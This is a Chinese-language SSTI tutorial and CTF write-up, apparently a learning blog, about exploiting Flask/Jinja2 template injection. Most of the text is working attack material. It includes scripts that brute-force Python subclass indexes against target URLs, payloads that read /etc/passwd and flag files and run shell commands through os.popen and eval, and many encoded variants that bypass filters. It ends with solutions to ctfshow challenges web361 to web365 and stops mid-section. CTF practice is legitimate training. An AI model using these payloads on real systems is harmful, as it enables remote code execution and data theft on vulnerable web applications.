(57, <class 'coroutine'>)
(58, <class 'coroutine_wrapper'>)
(59, <class 'InterpreterID'>)
(60, <class 'EncodingMap'>)
(61, <class 'fieldnameiterator'>)
(62, <class 'formatteriterator'>)
(63, <class 'BaseException'>)
(64, <class 'hamt'>)
(65, <class 'hamt_array_node'>)
(66, <class 'hamt_bitmap_node'>)
(67, <class 'hamt_collision_node'>)
(68, <class 'keys'>)
(69, <class 'values'>)
(70, <class 'items'>)
(71, <class 'Context'>)
(72, <class 'ContextVar'>)
(73, <class 'Token'>)
(74, <class 'Token.MISSING'>)
(75, <class 'moduledef'>)
(76, <class 'module'>)
(77, <class 'filter'>)
(78, <class 'map'>)
(79, <class 'zip'>)
(80, <class '_frozen_importlib._ModuleLock'>)
(81, <class '_frozen_importlib._DummyModuleLock'>)
(82, <class '_frozen_importlib._ModuleLockManager'>)
(83, <class '_frozen_importlib.ModuleSpec'>)
(84, <class '_frozen_importlib.BuiltinImporter'>)
(85, <class 'classmethod'>)
(86, <class '_frozen_importlib.FrozenImporter'>)
(87, <class '_frozen_importlib._ImportLockContext'>)
(88, <class '_thread._localdummy'>)
(89, <class '_thread._local'>)
(90, <class '_thread.lock'>)
(91, <class '_thread.RLock'>)
(92, <class '_frozen_importlib_external.WindowsRegistryFinder'>)
(93, <class '_frozen_importlib_external._LoaderBasics'>)
(94, <class '_frozen_importlib_external.FileLoader'>)
(95, <class '_frozen_importlib_external._NamespacePath'>)
(96, <class '_frozen_importlib_external._NamespaceLoader'>)
(97, <class '_frozen_importlib_external.PathFinder'>)
(98, <class '_frozen_importlib_external.FileFinder'>)
(99, <class 'nt.ScandirIterator'>)
(100, <class 'nt.DirEntry'>)
(101, <class '_io._IOBase'>)
(102, <class '_io._BytesIOBuffer'>)
(103, <class '_io.IncrementalNewlineDecoder'>)
(104, <class 'PyHKEY'>)
(105, <class 'zipimport.zipimporter'>)
(106, <class 'zipimport._ZipImportResourceReader'>)
(107, <class 'codecs.Codec'>)
(108, <class 'codecs.IncrementalEncoder'>)
(109, <class 'codecs.IncrementalDecoder'>)
(110, <class 'codecs.StreamReaderWriter'>)
(111, <class 'codecs.StreamRecoder'>)
(112, <class '_abc._abc_data'>)
(113, <class 'abc.ABC'>)
(114, <class 'dict_itemiterator'>)
(115, <class 'collections.abc.Hashable'>)
(116, <class 'collections.abc.Awaitable'>)
(117, <class 'types.GenericAlias'>)
(118, <class 'collections.abc.AsyncIterable'>)
(119, <class 'async_generator'>)
(120, <class 'collections.abc.Iterable'>)
(121, <class 'bytes_iterator'>)
(122, <class 'bytearray_iterator'>)
(123, <class 'dict_keyiterator'>)
(124, <class 'dict_valueiterator'>)
(125, <class 'list_iterator'>)
(126, <class 'list_reverseiterator'>)
(127, <class 'range_iterator'>)
(128, <class 'set_iterator'>)
(129, <class 'str_iterator'>)
(130, <class 'tuple_iterator'>)
(131, <class 'collections.abc.Sized'>)
(132, <class 'collections.abc.Container'>)
(133, <class 'collections.abc.Callable'>)
(134, <class 'os._wrap_close'>)
(135, <class 'os._AddedDllDirectory'>)
(136, <class '_sitebuiltins.Quitter'>)
(137, <class '_sitebuiltins._Printer'>)
(138, <class '_sitebuiltins._Helper'>)
可以看出2.7有的3.6大部分都有，但还是有一些子类是不一样的。
SSTI的主要目的就是从这么多的子类中找出可以利用的类（一般是指读写文件或执行命令的类）加以利用。
但python的版本不同，要利用的类的位置就不同，索引号就不同，下面借鉴了一下S神的遍历python环境中类的脚本：
#by S神
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url,headers=headers)
if 'FileLoader' in res.text: #以FileLoader为例
print(i)
# 得到编号为79
#by S神
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/"
postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
res = requests.post(url=url,headers=headers,data=postPara)
if 'FileLoader' in res.text: #以FileLoader为例，查找其他命令时就用其他子类
print(i)
# 得到编号为79
`__builtins__`：以一个集合的形式查看引用
builtins是python中的一个模块。该模块提供对Python的所有“内置”标识符的直接访问；例如，builtins.open 是内置函数的全名
open() 。
当我们启动一个python解释器时，即使没有创建任何变量或者函数，还是会有很多函数使用，我们称之为内建函数。
内建函数并不需要我们自己做定义，而是在启动python解释器的时候，就已经导入到内存中供我们使用。
`__builtins__`方法是作为默认初始模块出现的，可用于查看当前所有导入的内建函数。
`__globals__`：该方法会以字典的形式返回当前位置的所有全局变量，与 func_globals 等价。该属性
是函数特有的属性，记录当前文件全局变量的值，如果某个文件调用了os、sys等库，但我们只能访问该
文件某个函数或者某个对象，那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全
局变量的字典引用。
`__import__()`：该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 **import** ()
来动态载入，就是 import 。语法： **import** (模块名)
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法，通过子类再去获取子类的子
类、更多的方法，找出可以利用的类和方法加以利用。总之，是通过python的对象的继承来一步步实现
文件读取和命令执行的：
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
### 用SSTI读取文件
#### python2
在上文中我们用`__subclass__`看到了基类的所有子类，在我们整理的子类中的第四十项`(40, <type
'file'>)`（实际的索引可能不同，需要动态识别），可以用于读写文档
>>>[].__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
>>>[].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
'##\n# User Database\n# \......'
builtins
#### python3
使用file类读取文件的方法仅限于Python 2环境，在Python 3环境中file类已经没有了。我们可以用
这个类去读取文件。
首先编写脚本遍历目标Python环境中 `<class '_frozen_importlib_external.FileLoader'>`这个类索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name=
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'FileLoader' in res.text:
print(i)
# 得到编号为79
### 利用SSTI执行命令
可以用来执行命令的类有很多，其基本原理就是遍历含有eval函数即os模块的子类，利用这些子类中的
eval函数即os模块执行命令。
#### 寻找内建函数eval执行命令
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
记住几个含有eval函数的类
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.
#### 寻找 os 模块执行命令
Python的 os
模块中有system和popen这两个函数可用来执行命令。其中`system()`函数执行命令是没有回显的，我们可以使用system()函数配合curl外带数据；`popen()`函数执行命令有回显。所以比较常用的函数为`popen()`函数，而当`popen()`函数被过滤掉时，可以使用`system()`函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
但是该方法遍历得到的类不准确，因为一些不相关的类名中也存在字符串 “os”，所以我们还要探索更有效的方法。
我们可以看到，即使是使用os模块执行命令，其也是调用的os模块中的popen函数，那我们也可以直接调用popen函数，存在popen函数的类一般是
os._wrap_close ，但也不绝对。由于目标Python环境的不同，我们还需要遍历一下。
#### 寻找 popen 函数执行命令
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'popen' or 'os._wrap_close' in res.text:
print(i)
## 如何绕过
在做题的时候我们会遇到各种各样的过滤，既然有过滤我们想要执行命令的话就必须绕过，那么如何绕过呢？
### 检查过滤
这里用到一款软件superdic，其可李用以自动生成fuzz字典，然后利用bp抓包工具对注入点进行注入，很容易就可以得到该题过滤了什么。
### 关键字绕过
#### 拼接绕过
我们可以利用“+”进行字符串拼接，绕过关键字过滤
但是往往这种绕过需要一定的条件，返回的要是字典类型的或是字符串格式（即str）的，即payload中引号内的，在调用的时候才可以使用字符串拼接绕过，我们要学会怎么把被过滤的命令放在能拼接的地方。
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
payload中引号内的，在调用的时候都可以使用字符串拼接绕过。
#### 编码绕过
##### base64编码绕过
对引号内的代码进行base64编码后再后接`.decode('base64')`可以进行绕过
例如
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
编码后为
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
只要是字符串的，即payload中引号内的，都可以用编码绕过。同理还可以进行rot13，16进制编码。这一切都是基于我们可以执行命令实现的。
##### 利用Unicode编码绕过
这种方法网上没有，看了whoami大神和S神的笔记才知道还有这种方法。
例如
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
转换后为
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
当我们使用eval来执行命令时几乎所有命令都是置于引号之下的，所以我们利用对引号内的内容进行编码绕过的话是可以轻松绕过许多过滤的，例如对os，ls等的过滤。
##### 利用hex编码绕过
当过滤了`u`时，上面的Unicode与base64编码就不灵了，所以我们需要使用一种与前两种编码形式区别较大的编码来进行绕过
我们可以利用hex编码的方法进行绕过
例如
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
转换后为
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
这里注意，在进行hex编码的时候我们需要选用`/x`的形式，这样才能有效绕过。
##### 利用引号绕过
单双引号都行，假如过滤了flag时，我们可以使用`fl''ag`或者`fl""ag`的形式来绕过
例如
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
只要是字符串的，即payload中引号内的，都可以用引号绕过
#### 利用join()函数绕过
我们可以利用join()函数来绕过关键字过滤。例如，题目过滤了flag，那么我们可以用如下方法绕过：
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
这也是基于对PHP函数命令的理解来的。
### 绕过其他字符
#### 过滤了中括号`[]`
##### 利用`__getitem__()`绕过
可以使用 **getitem** ()方法输出序列属性中某个索引处的元素（相当于[]），例如
>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>
所以我们可以得到
[]=__getitem__()
例子
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
##### 利用字典读取绕过
我们知道访问字典里的值有两种方法，一种是把相应的键放入熟悉的方括号`[]`里来访问，一种就是用点`.`来访问。所以，当方括号`[]`被过滤之后，我们还可以用点`.`的方式来访问，如下示例
首先构造
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
绕过后
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
不难看出['__builitins__']=.__builtins__.
所以可以['']=..
#### 过滤了引号`''""`
##### 利用chr()绕过
因为知识比较匮乏，所以补充了一下`chr()`函数是干啥的
* * *
描述
chr() 用一个范围在 range（256）内的（就是0～255）整数作参数，返回一个对应的字符。
语法
以下是 chr() 方法的语法:
chr(i)
参数
* i -- 可以是10进制也可以是16进制的形式的数字。
返回值
返回值是当前整数对应的 ASCII 字符。
* * *
所以`chr()`这个函数可以绕过直接输入，利用返回的相对应的ASCll字符来执行命令
但是我们没法直接使用chr函数，所以我们需要先通过`__builtins__`来找到它（`__builtins__`方法是作为默认初始模块出现的，可用于查看当前所有导入的内建函数。）
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}
然后我们再去赋值给chr，后面拼接字符串
{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
整合在一起就变成了
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
等同于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
##### 利用request对象绕过
request有两种形式，`request.args`和`request.values`，当args被过滤时我们可以使用values，且这种方法POST和GET传递的数据都可以被接收，相对于通过`chr()`进行绕过，这种方法更为简单和便捷。
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
构造后为
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
#### 过滤了下划线`_`
##### 利用request对象绕过
又用到了这种方法，看来这种方法十分强大
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
构造后为
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
#### 过滤了点`.`
##### 利用`|attr()`绕过
`|attr()`为jinja2原生函数，是一个过滤器，它只查找属性获取并返回对象的属性的值，过滤器与变量用管道符号（ `|`
）分割，它不止可以绕过点。所以可以直接利用，即
().__class__ 相当于 ()|attr("__class__")
构造一个
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
过滤后为
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
`|attr()`配合其他绕过方法可以同时绕过下划线、引号、点、中括号等。
##### 利用中括号`[]`绕过
使用中括号直接进行拼接
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
过滤后为
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
同时，我们可以发现,这样绕过点之后，我们几乎所有的关键字都成了字符串，我们就可以用上面的一些方法绕过了，比如hex编码，这样我们几乎可以绕过全部的过滤。
##### 过滤了大括号`{{`
我们可以用Jinja2的`{%...%}`语句装载一个循环控制语句来绕过，这里我们在一开始认识flask的时候就学习了：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
这里在一开始的时候通过`{%...%}`载入了两个循环语句，通过for和if遍历函数，寻找出`'catch_warnings'`这一命令然后将其命名为c，再通过找出的c命令组合构造语句，执行命令，最后用在引入两个end语句来终止前面的for和if的循环语句。
也可以使用 `{% if ... %}1{% endif %}` 配合 `os.popen` 和 `curl` 将执行结果外带（不外带的话无回显）出来：
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
也可以用 `{%print(......)%}` 的形式来代替`{{ }}`，如下：
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
### 组合绕过
以下摘抄了S神的绕过姿势，tql。
* * *
#### 同时过滤了 . 和 []
`|attr()`+`__getitem__`
**绕过姿势：**
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
**等同于：**
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
#### 同时过滤了 __ 、点. 和 []
`__getitem__`+`|attr()`+`request`
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
**相当于：**
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#### 配合Unicode编码绕过很多过滤
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
我们用`{%...%}`绕过对 `{{`
的过滤，用`|attr()`绕过`.`，并用unicode绕过对关键字的过滤，然后`__getitem__`绕过中括号。
**如下，后面的命令其实也可以换掉，但是没过滤，就先不换了：**
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
**等同于：**
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
#### 配合Hex编码绕过很多过滤
**和上面Unicode的环境一样，方法也一样，就是换了种编码**
**如下**
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}
**等同于：**
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
**大家可以发现这几种方法中都用到了**`|attr()`，前面也说过，这是 JinJa 的一种过滤器，下面我们可以详细了解一下 JinJa
的过滤器，以便我们加深对绕过的理解，以及研究以后新的绕过。
* * *
## 刷题看看
### 一个实例 [题目
(xctf.org.cn)](https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408&page=2)Web_python_template_injection
#### 1.判断有无模板注入
http://111.200.241.244:61745/{{1+1}}
#### 2.查看一下全局变量
url/{{config}}
补个知识
文件包含：是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路：找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
可能用到的魔术方法列举一下
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
#### 3.寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
可以看到在40的位置有一个type file类型（可以进行文件读取）
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
可以看到7有一个<class ‘site._Printer’>类型（可以进行命令执行）
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
#### 4.读取flag
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
### ctfshow web361
题目说名字就是考点
所以传参为`?name=`
传入?name={undefinde{1+1}}回显2
这里利用`os._warp_close`类，一看有不少，写个脚本来找吧
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://3b571901-c1e3-41a6-96b3-605942386ec5.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132
然后利用`. init .globals`来找os类中的。init初始化，globals全局查找
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
其中能看到popen，于是利用其来执行命令
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
### ctfshow web362
随便试了试没发现过滤了啥
然后提交一下上一道题的payload，失败了 回显一个哭脸
查了一下 原来是过滤了数字
又查了查ssti过滤数字，找到了一个数字替换的脚本
将数字替换成全角数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
替换完了之后的payload
?name={{"".__class__.__bases__[０].__subclasses__()[１３２].__init__.__globals__['popen']('cat /flag').read()}}
ctfshow{90be8203-4e24-458f-8fc9-14062aed72c8}
然后再看别的大佬写的wp的时候发现362和363可以用一个payload提交
Payload:?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}
### ctfshow web363
测试发现过滤了引号
如何绕过呢？下面来自[Python模板注入(SSTI)深入学习 - 先知社区
(aliyun.com)](https://xz.aliyun.com/t/6885#toc-4)
* * *
#### 过滤引号
回顾我们上面的payload，哪里使用了引号？
[
接下来思考对应的解决办法，首先第一个引号的作用是什么，是为了引出基类，而任何数据结构都可以引出基类，所以这里可以直接使用数组代替，所以上述payload就变成了：
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
在fuzz的时候我发现，数据结构可以被替换为数组、字典，以及`数字0`。
再看看后面的引号是用来干嘛的，首先看看. **init** . **globals** 返回的是什么类型的数据:
[
所以第一个引号就是获取字典内对应索引的value，这里我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典，我们可以像这样来引用他：
[
所以第二个引号的绕过方法即：
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引号都可以使用该方法进行绕过。
还有另外一种绕过引号的办法，即通过python自带函数来绕过引号，这里使用的是chr()。
首先fuzz一下chr()函数在哪：
payload：
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
[
通过payload爆破subclasses，获取某个subclasses中含有chr的类索引，可以看到爆破出来很多了，这里我随便选一个。
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接着尝试使用chr尝试绕过后续所有的引号：
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
[
* * *
假设传入`{{ config.__class__.__init__.__globals__['os']
}}`,因为引号被过滤，所以无法执行，可以把`'os'`换成`request.args.a`(这里的a可以理解为自定义的变量，名字可以任意设置)
随后在后面传入a的值，变成`{{ config.__class__.__init__.__globals__[request.args.a]
}}&a=os`，与原命令等效
Payload:
比如我们要构造`?name={{ config.__class__.__init__.__globals__['os'].popen('cat
../flag').read() }}`，但是引号不能使用了，就可以把这两处使用引号的地方替换掉，最终变成
`?name={{
config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()
}}&a=os&b=cat ../flag`
### ctfshow web364
这个题过滤了单双引号，args，所以上一题的思路无法沿用 换个方法
咋绕过呢，看到了sp4c1ous师傅的文章
* * *
**利用request对象绕过**
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
#像下面这样就可以直接利用了
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
**等同于：**
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
**如果过滤了**`args`，可以将其中的`request.args`改为`request.values`，POST和GET两种方法传递的数据`request.values`都可以接收。
* * *
按照大佬的方法做个payload
?name={{lipsum.__globals__.os.popen(request.values.gg).read()}}&gg=cat /flag
ctfshow{2e39f741-f60e-4cb9-a889-00441ac46737}
看了一下别人的wp，还可以用cookie绕过
利用bp抓包然后传入cookie的值
效果一样
### ctfshow web365
字符串拼接绕过
应该是过滤了单双引号，args，[]
中括号可以用点或者`__getitem__`绕过
通过`__getitem__()`构造任意字符，比如
?name={{config.__str__().__getitem__(22)}} # 就是22
整个脚本
import requests
url="http://967b7296-6f76-444e-83d3-519ce6624dea.challenge.ctf.show/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
得到
config.__str__().__getitem__(22) == c
config.__str__().__getitem__(40) == a
config.__str__().__getitem__(23) == t
config.__str__().__getitem__(7) ==
config.__str__().__getitem__(279) == /
config.__str__().__getitem__(4) == f
config.__str__().__getitem__(41) == l
config.__str__().__getitem__(40) == a
config.__str__().__getitem__(6) == g
构造payload
